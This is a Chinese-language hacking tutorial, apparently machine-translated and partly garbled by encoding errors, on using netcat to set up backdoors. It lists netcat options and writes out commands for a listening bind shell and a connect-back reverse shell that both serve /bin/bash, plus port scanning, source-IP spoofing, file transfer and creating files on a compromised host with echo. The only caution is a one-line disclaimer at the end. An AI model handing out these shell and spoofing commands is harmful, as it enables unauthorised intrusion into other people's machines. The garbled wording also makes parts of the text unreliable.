步驟1：獲取Netcat

現(xiàn)在，我想擁有的第一件事是netcat在我自己的計(jì)算機(jī)上。不要害怕安裝它。 Netcat本身不是后門(mén)，但可用于創(chuàng)建后門(mén)。 Netcat基本上是類(lèi)固醇上的Ms-DOS，因此，如果您認(rèn)真對(duì)待黑客攻擊，則應(yīng)該購(gòu)買(mǎi)netcat。

要獲取netcat，請(qǐng)前往Google進(jìn)行搜索，如果您使用的是Windows，則應(yīng)為.exe使用Google windows netcat 。

擁有.exe后，請(qǐng)使用將其放在Windows System32文件中，以便可以從cmd提示符下運(yùn)行它。

此后，您只需在cmd提示符下鍵入nc即可使用它，

例如，如果您想進(jìn)入安裝的后門(mén)，將使用命令

nc -v

下一步，我將介紹更多命令。

步驟2：基本的Netcat命令

-e 將程序入站程序執(zhí)行到exec（危險(xiǎn)?。?/p>

-g 網(wǎng)關(guān)源路由躍點(diǎn)，最多8

-G 個(gè)源路由指針：4，8，12，。 。.

-h 此發(fā)送郵件，掃描端口的

-i 秒延遲間隔

-l 《/strong》模式，對(duì)于入站連接

-L 進(jìn)行更嚴(yán)格的偵聽(tīng)，然后在套接字關(guān)閉時(shí)重新偵聽(tīng)e

-n 僅數(shù)字的IP地址，沒(méi)有DNS

-o 文件的十六進(jìn)制流量轉(zhuǎn)儲(chǔ)

-p 端口本地端口號(hào)

-r 隨機(jī)分配本地和遠(yuǎn)程端口

-s addr本地源地址

-t answer TELNET協(xié)商

-u UDP模式

-v 冗長(zhǎng)（使用兩次以變得更冗長(zhǎng)）

-w 秒連接和最終網(wǎng)絡(luò)讀取的超時(shí)

-z零I/O 模式（用于掃描）

端口號(hào)可以是單個(gè)或范圍：mn（含）

連接到遠(yuǎn)程主機(jī)上的端口

nc remote_host 《端口》

》 連接到遠(yuǎn)程主機(jī)上的多個(gè)

端口

nc remote_host 《端口》 。.. 《端口》

例如：

nc www.somecompanyasanexample.com 21 25 80

在端口上偵聽(tīng)

傳入連接

（也稱為A后門(mén)）

nc -v -l -p 《端口》

連接到遠(yuǎn)程主機(jī)

并提供bash shell

nc remote_ip 《端口》 -e/bin/bash

請(qǐng)注意，默認(rèn)情況下Netcat不支持-e標(biāo)志。要

使Netcat支持-e標(biāo)志，必須使用

DGAPING_SECURITY_HOLE選項(xiàng)重新編譯它

在端口上監(jiān)聽(tīng)并

在連接后提供bash外殼

nc -v -l -p-《端口》 -e/bin/bash

請(qǐng)注意默認(rèn)情況下，Netcat不支持-e標(biāo)志。要

使Netcat支持-e標(biāo)志，必須使用

DGAPING_SECURITY_HOLE選項(xiàng)重新編譯它

端口掃描遠(yuǎn)程

host

nc -v -z remote_host -

使用-i標(biāo)志設(shè)置延遲間隔：

nc-?i -v -z remote_host

《端口》-《端口》

管道命令輸出

到netcat請(qǐng)求

| nc remote_host 《端口》

例如：

echo“ GET/HTTP/1.0

（輸入）

（輸入）

” | nc www.somecompanyasanexample.com 80

使用源路由

連接到

遠(yuǎn)程主機(jī)上的端口

nc-?g remote_host

注意：使用-g標(biāo)志最多可以指定八個(gè)跳點(diǎn)。

使用-?G標(biāo)志指定源路由指針。

欺騙源IP

地址

使用-?s標(biāo)志欺騙源IP地址：

nc -s spoofed_ip remote_host端口

此命令將導(dǎo)致遠(yuǎn)程主機(jī)響應(yīng)回

欺騙的IP地址。 -?標(biāo)志可以與該表中顯示的大多數(shù)

命令一起使用。

傳輸文件

在服務(wù)器主機(jī)上：

nc -v -l -p 《

在客戶端主機(jī)上：

nc -v 《服務(wù)器主機(jī)》 《端口》》 《文件》

客戶機(jī)主機(jī)也可以偵聽(tīng)端口以

接收文件。為此，請(qǐng)?jiān)诳蛻舳?/p>

主機(jī)上運(yùn)行以下命令：

nc -v -l -p 《端口》》文件

，然后在服務(wù)器主機(jī)上運(yùn)行以下命令：

nc-? –v 《客戶端主機(jī)》 《端口》 《文件

您的netcat都可以使用它們

步驟3：Bat文件部分

一旦您在計(jì)算機(jī)或服務(wù)器中，便可以利用任何您想要的東西，通常我使用vbs和.bat文件，但是我也想通過(guò)此方法創(chuàng)建文件，現(xiàn)在，您可以傳輸文件了通過(guò)使用前面所述的命令，但是我想即時(shí)創(chuàng)建文件。您可以通過(guò)Google搜索通過(guò)MS-DOS傳輸文件的方法，并獲得許多方法。我總是喜歡使用Echo方法

一旦您使用，就使用此命令

Echo 在此處輸入文件內(nèi)容》 名稱。任何文件類(lèi)型

這將創(chuàng)建當(dāng)前目錄中指定的文件

一旦您可以通過(guò)簡(jiǎn)單的命令行運(yùn)行這些文件，

開(kāi)始文件名

第4步：Netcat

您還可以使用netcat進(jìn)行很多其他操作，但本指南中并未對(duì)此進(jìn)行詳細(xì)介紹。 br》請(qǐng)勿在未獲勝或沒(méi)有權(quán)限的計(jì)算機(jī)上使用后門(mén)。
責(zé)任編輯：wv